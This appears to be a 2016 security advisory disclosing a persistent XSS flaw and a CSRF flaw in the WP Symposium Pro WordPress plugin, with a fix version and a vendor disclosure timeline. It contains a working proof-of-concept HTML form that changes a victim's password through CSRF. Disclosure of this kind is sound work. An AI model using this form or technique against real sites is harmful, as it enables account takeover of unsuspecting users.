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WP Symposium Pro Social Network Plugin XSS and Critical CSRF Vulnerability

From: Rahul Pratap Singh <techno.rps () gmail com>
Date: Fri, 8 Jan 2016 12:37:42 +0530

#Product         : WP Symposium Pro Social Network Plugin
#Exploit Author  : Rahul Pratap Singh
#Home page Link  : https://wordpress.org/plugins/wp-symposium-pro
#Version         : 15.12
#Website         : 0x62626262.wordpress.com
#Twitter         : @0x62626262
#Linkedin        : https://in.linkedin.com/in/rahulpratapsingh94
#Date            : 8/Jan/2016

1) XSS Vulnerability:

Vulnerable Code:

file: wps_usermeta_shortcodes.php

"wpspro_country" parameter is not sanitized, that leads to persistent xss.

Video Demonstration:
https://www.youtube.com/watch?v=Xglc3rNZPXs

2) CSRF Vulnerability:

Description:

Edit profile page is vulnerable to CSRF, that allows to change password
which in turn leads to full account takeover.

Exploit:

<html>
  <body>
    <form
action="http://localhost/wp422/wordpress/index.php/edit-profile/";
method="POST" enctype="multipart/form-data">
      <input type="hidden" name="wps&#95;usermeta&#95;change&#95;update"
value="yes" />
      <input type="hidden" name="wpspro&#95;display&#95;name"
value="rahul" />
      <input type="hidden" name="wpspro&#95;firstname" value="hello1" />
      <input type="hidden" name="wpspro&#95;lastname" value="hello2" />
      <input type="hidden" name="wpspro&#95;email" value="&#13;" />
      <input type="hidden" name="wpsro&#95;home" value="hello4" />
      <input type="hidden" name="wpspro&#95;country" value="hello5" />
      <input type="hidden" name="wpspro&#95;password" value="asdf" />
      <input type="hidden" name="wpspro&#95;password2" value="asdf" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Video Demonstration:
https://www.youtube.com/watch?v=sN65HlCRe9c


Fix:

Update to version 16.1


Disclosure Timeline:

reported to vendor  : 6/1/2016
vendor response     : 6/1/2016
vendor acknowledged : 6/1/2016
vendor scheduled a patch: 7/1/2016
CVE Number : Not assigned yet

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